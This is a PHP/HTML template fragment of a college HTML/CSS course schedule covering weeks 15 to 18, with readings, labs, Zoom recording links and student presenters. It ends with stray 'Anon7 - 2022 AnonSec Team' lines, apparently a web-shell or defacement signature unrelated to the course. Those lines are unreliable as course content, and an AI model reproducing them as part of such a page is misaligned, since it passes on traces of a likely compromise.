	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/nIFqeK3ozlV8GlZZoGEOvFwt8spzuwxRquWhhRA3eLfbw2aI_wKhSNqFgH9zXYar.sIGr5jI431hUMsTZ?startTime=1681740130000','text'),array('https://minnstate.zoom.us/rec/share/nIFqeK3ozlV8GlZZoGEOvFwt8spzuwxRquWhhRA3eLfbw2aI_wKhSNqFgH9zXYar.sIGr5jI431hUMsTZ?startTime=1681743634000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Monday 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/html/html_lists.asp">HTML Lists</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_list.asp">CSS Lists</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/html/html_tables.asp">HTML Tables</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_table.asp">CSS Tables</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(10)?></li>
				<li><?=labLink(11)?></li>
				<li><?=labLink(13)?></li>
				<li>Read <a href="https://www.w3schools.com/html/html_forms.asp">HTML Forms</a>.</li>
				<li>Read <a href="https://www.w3schools.com/html/html_form_elements.asp">HTML Form Elements</a>.</li>
				<li>Read <a href="https://www.w3schools.com/html/html_form_input_types.asp">HTML Input Types</a>.</li>
				<li>Read <a href="https://www.w3schools.com/html/html_form_attributes.asp">HTML Input Attributes</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_form.asp">CSS Forms</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 15 -->
<!-- Week 16: Monday 4/24 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/PsY9XWmzpsH0vFHcTTAJ-nrQ8xsF0amsTF5q3A46i240VH7L6PZA5y1JgVuvH29t.7hE6-mgSPfgxAdax?startTime=1682344882000','text'),array('https://minnstate.zoom.us/rec/share/PsY9XWmzpsH0vFHcTTAJ-nrQ8xsF0amsTF5q3A46i240VH7L6PZA5y1JgVuvH29t.7hE6-mgSPfgxAdax?startTime=1682350544000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Monday 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/html/html_forms.asp">HTML Forms</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/html/html_form_elements.asp">HTML Form Elements</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/html/html_form_input_types.asp">HTML Input Types</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/html/html_form_attributes.asp">HTML Input Attributes</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_form.asp">CSS Forms</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/whatis/">Web Development</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>If you have not done so, please complete <?=labLink(13,false)?></li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(12)?></li>
				<li><?=labLink(14,false)?></li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 16 -->
<!-- Week 17: Monday 5/01 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/GDjsqezcgw8LHMDY-6chaI1w_xUDwAIhXi6SwgjGVJNcF19XLaJwyR6-9Gv0hZrv.wM_86WOcVM6zGGQZ?startTime=1682949629000','text'),array('URL','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Monday 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li><b>Students present <?=labLink(14)?></b>
					<br>Presenters:
					<ol>
						<li>Justin Banken</li>
						<li>Andrew Lindquist</li>
						<li>John Dresler</li>
						<li>Serena Urban</li>
					</ol>
					Other recordings of Lab 14:
					<ol>
						<li><a href="../Recordings/Emmily_Kodet.mp4">Emmily Kodet</a></li>
						<li><a href="../Recordings/Preston_Pedersen.mp4">Preston Pedersen</a></li>
						<li><a href="https://mediaspace.minnstate.edu/media/HTML+CSS+Final+Project/1_o5cl3gb4">Tyler Schuch</a></li>
					</ol>
				</li>
				<li>Discuss css class and id naming conventions:
					<ol>
						<li><a href="https://stackoverflow.com/questions/6028211/what-is-the-standard-naming-convention-for-html-css-ids-and-classes"></a>What is the standard naming convention for html/css ids and classes?</li>
						<li><a href="https://css-tricks.com/semantic-class-names/">What Makes For a Semantic Class Name?</a>.</li>
						<li><a href="https://newbedev.com/what-is-the-standard-naming-convention-for-html-css-ids-and-classes">What is the standard naming convention for html/css ids and classes?</a></li>
						<li><a href="https://www.hallme.com/blog/css-naming-conventions/">CSS Naming Conventions</a>.</li>
						<li><a href="https://www.py4u.net/discuss/977350">HTML naming conventions for ID, class and to include element type prefix?</a></li>
						<li><a href="https://en.bem.info/methodology/naming-convention/">BEM Naming convention</a>.</li>
						<li><a href="https://csswizardry.com/2011/09/when-using-ids-can-be-a-pain-in-the-class/">When using IDs can be a pain in the class...</a>.</li>
					</ol>
				</li>
			</ol>
		</li>
		<li>Please complete the <a href="/JimMartinson/CST1021/?Questionnaire">class questionnaire</a>.</li>
		<li>All assignments are due by Wednesday, 5/10/2023.</li>
	</ul>
</li><!-- END Week 17 -->
<!-- Week 18: Monday 5/08 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week,0,'<span class="attention">Finals week.</span>')?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/LR2Q1HrAmN8RAmSMKkaHNOU3mHS1yPysYfHrnXyqCCLcev0cfjMoGRJjqpOs3o-q.C5uk5PwWGaOILW2D?startTime=1683554411000','text'),array('URL','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<ol type="i">
				<li><b>Students present <?=labLink(14,false)?></b>
					<br>Presenters:
					<ol>
						<li>Ryan Shaw</li>
						<li>Levi Streich</li>
						<li>Daniel Kremer</li>
						<li>Grant Hansen</li>
					</ol>
				</li>
			</ol>
		</li>
		<li>If did not present <?=labLink(14,'false')?> to the class:
			<ol>
				<li>Make a Zoom recording demonstrating your website.</li>
				<li>Make the recording public.</li>
				<li>Add a link to the public recording on the first page of your web site.</li>
				<li>Submit or re-submit <?=labLink(14,false,'')?>.</li>
			</ol>
		</li>
		<li>If you have not done so, please complete the <a href="../?Questionnaire">class questionnaire</a>.</li>
		<li>All assignments are due by Wednesday, May 10<sup>th</sup> 2023.</li>
		<li><span>More in-depth HTML5 information:</span>
			<ul class="collapsed" id="8">
				<!-- HTML5 Tutorial -->
				<li><a href="https://www.w3schools.com/html/html_blocks.asp">HTML Block and Inline Element</a>.</li>
				<li><a href="https://www.w3schools.com/tags/att_class.asp">HTML The class Attribute</a>.</li>
				<li><a href="https://www.w3schools.com/html/html_id.asp">HTML The id Attribute</a>.</li>
				<li><a href="https://www.w3schools.com/html/html_iframe.asp">HTML Iframes</a>.</li>
				<li><a href="https://www.w3schools.com/html/html_scripts.asp">HTML JavaScript</a>.</li>
				<li><a href="https://www.w3schools.com/html/html_filepaths.asp">HTML File Paths</a>.</li>
				<li><a href="https://www.w3schools.com/html/html_layout.asp">HTML Layouts</a>.</li>
				<li><a href="https://www.w3schools.com/html/html_responsive.asp">HTML Responsive Web Design</a>.</li>
				<li><a href="https://www.w3schools.com/html/html_computercode_elements.asp">HTML Computer Code Elements</a>.</li>
				<li><a href="https://www.w3schools.com/html/html_entities.asp">HTML Entities</a>.</li>
				<li><a href="https://www.w3schools.com/html/html_symbols.asp">HTML Symbols</a>.</li>
				<li><a href="https://www.w3schools.com/html/html_charset.asp">HTML Encoding (Character Sets)</a>.</li>
				<li><a href="https://www.w3schools.com/html/html_urlencode.asp">HTML Uniform Resource Locators</a>.</li>
				<!-- HTML5 -->
				<li><a href="https://www.w3schools.com/html/html5_syntax.asp">HTML5 Style Guide and Coding Conventions</a>.</li>
				<li><a href="https://www.granneman.com/webdev/coding/formatting-and-indenting-your-html">Formatting &amp; Indenting Your HTML</a>.</li> <!-- granneman -->
				<li><a href="https://www.cocoawithlove.com/blog/2016/04/01/neither-tabs-nor-spaces.html">Indent with tabs or spaces? I wish I didn't need to know</a>.</li> <!-- cocoawithlove -->
				<li><a href="https://stackoverflow.blog/2017/06/15/developers-use-spaces-make-money-use-tabs/">Developers Who Use Spaces Make More Money Than Those Who Use Tabs</a>.</li> <!-- stackoverflow.blog -->
				<!-- HTML Graphics -->
				<li><a href="https://www.w3schools.com/html/html5_canvas.asp">HTML5 Canvas</a>.</li>
				<li><a href="https://www.w3schools.com/html/html5_svg.asp">HTML5 SVG</a>.</li>
				<!-- HTML Media -->
				<li><a href="https://www.w3schools.com/html/html_media.asp">HTML Multimedia</a>.</li>
				<li><a href="https://www.w3schools.com/html/html5_video.asp">HTML5 Video</a>.</li>
				<li><a href="https://www.w3schools.com/html/html5_audio.asp">HTML5 Audio</a>.</li>
				<li><a href="https://www.w3schools.com/html/html_object.asp">HTML Plug-ins</a>.</li>
				<li><a href="https://www.w3schools.com/html/html_youtube.asp">HTML YouTube Videos</a>.</li>
				<!-- HTML APIs -->
				<li><a href="https://www.w3schools.com/html/html5_geolocation.asp">HTML5 Geolocation</a>.</li>
				<li><a href="https://www.w3schools.com/html/html5_draganddrop.asp">HTML5 Drag and Drop</a>.</li>
				<li><a href="https://www.w3schools.com/html/html5_webstorage.asp">HTML5 Web Storage</a>.</li>
				<li><a href="https://www.w3schools.com/html/html5_webworkers.asp">HTML5 Web Workers</a>.</li>
				<li><a href="https://www.w3schools.com/html/html5_serversentevents.asp">HTML5 Server-Sent Events</a>.</li>
			</ul>
		</li>
		<li><span>More in-depth CSS information:</span>
			<ul class="collapsed" id="9">
				<!-- CSS Tutorial -->
				<li><a href="https://www.w3schools.com/css/css_display_visibility.asp">CSS Layout - The display Property</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_max-width.asp">CSS width and max-width</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_positioning.asp">CSS Layout - The position Property</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_overflow.asp">CSS Layout - Overflow</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_float.asp">CSS Layout - float and clear</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_inline-block.asp">CSS Layout - display: inline-block</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_align.asp">CSS Layout - Horizontal &amp; Vertical Align</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_image_transparency.asp">CSS Opacity / Transparency</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_navbar.asp">CSS Navigation Bar</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_dropdowns.asp">CSS Dropdowns</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_image_gallery.asp">CSS Image Gallery</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_counters.asp">CSS Counters</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_website_layout.asp">CSS css_website_layout</a>.</li>
				<!-- CSS Advanced -->
				<li><a href="https://www.w3schools.com/css/css3_borders.asp">CSS Rounded Corners</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_border_images.asp">CSS Border Images</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_backgrounds.asp">CSS Multiple Backgrounds</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_gradients.asp">CSS Gradients</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_2dtransforms.asp">CSS 2D Transforms</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_3dtransforms.asp">CSS 3D Transforms</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_transitions.asp">CSS Transitions</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_animations.asp">CSS Animations</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_tooltip.asp">CSS Tooltip</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_images.asp">CSS Styling Images</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_object-fit.asp">CSS The object-fit Property</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_buttons.asp">CSS Buttons</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_pagination.asp">CSS Pagination Examples</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_multiple_columns.asp">CSS Multiple Columns</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_user_interface.asp">CSS User Interface</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_variables.asp">CSS Variables</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_box-sizing.asp">CSS Box Sizing</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_flexbox.asp">CSS Flexbox</a>.</li>
				<!-- Media Queries -->
				<li><a href="https://www.w3schools.com/css/css3_mediaqueries.asp">CSS Media Queries</a>.</li>
				<li><a href="https://www.w3schools.com/css/css3_mediaqueries_ex.asp">CSS Media Queries - Examples</a>.</li>
				<!-- CSS Responsive -->
				<li><a href="https://www.w3schools.com/css/css_rwd_intro.asp">Responsive Web Design - Introduction</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_rwd_grid.asp">Responsive Web Design - Grid-View</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_rwd_mediaqueries.asp">Responsive Web Design - Media Queries</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_rwd_images.asp">Responsive Web Design - Images</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_rwd_videos.asp">Responsive Web Design - Videos</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_rwd_frameworks.asp">Responsive Web Design - Frameworks</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_rwd_templates.asp">Responsive Web Design - Templates</a>.</li>
				<!-- CSS Grid -->
				<li><a href="https://www.w3schools.com/css/css_grid.asp">CSS Grid Layout Module</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_grid_container.asp">CSS Grid Container</a>.</li>
				<li><a href="https://www.w3schools.com/css/css_grid_item.asp">CSS Grid Item</a>.</li>
				<!-- CSS References -->
				<li><a href="https://www.w3schools.com/cssref/css_functions.asp">CSS Functions Reference</a>.</li>
				<li><a href="https://www.w3schools.com/cssref/css_ref_aural.asp">CSS Aural Reference</a>.</li>
				<li><a href="https://www.w3schools.com/cssref/css_websafe_fonts.asp">CSS Web Safe Font Combinations</a>.</li>
				<li><a href="https://www.w3schools.com/cssref/css_animatable.asp">CSS Animatable</a>.</li>
				<!-- CSS Properties -->
				<li><a href="https://www.w3schools.com/cssref/pr_charset_rule.asp">CSS @charset Rule</a>.</li>
				<li><a href="https://www.w3schools.com/cssref/css3_pr_font-face_rule.asp">CSS @font-face Rule</a>.</li>
				<li><a href="https://www.w3schools.com/cssref/pr_import_rule.asp">CSS @import Rule</a>.</li>
				<li><a href="https://www.w3schools.com/cssref/css3_pr_animation-keyframes.asp">CSS @keyframes Rule</a>.</li>
				<li><a href="https://www.w3schools.com/cssref/css3_pr_mediaquery.asp">CSS @media Rule</a>.</li>
			</ul>
		</li>
	</ul>
</li><!-- END Week 18 -->
</ol>
</fieldset>
<div style="visibility: hidden;">
	<ol>
	</ol>
</div>
<? $LOCK_BELOW = $week; ?>
<?
/** /

/**/

?>

Anon7 - 2022
AnonSec Team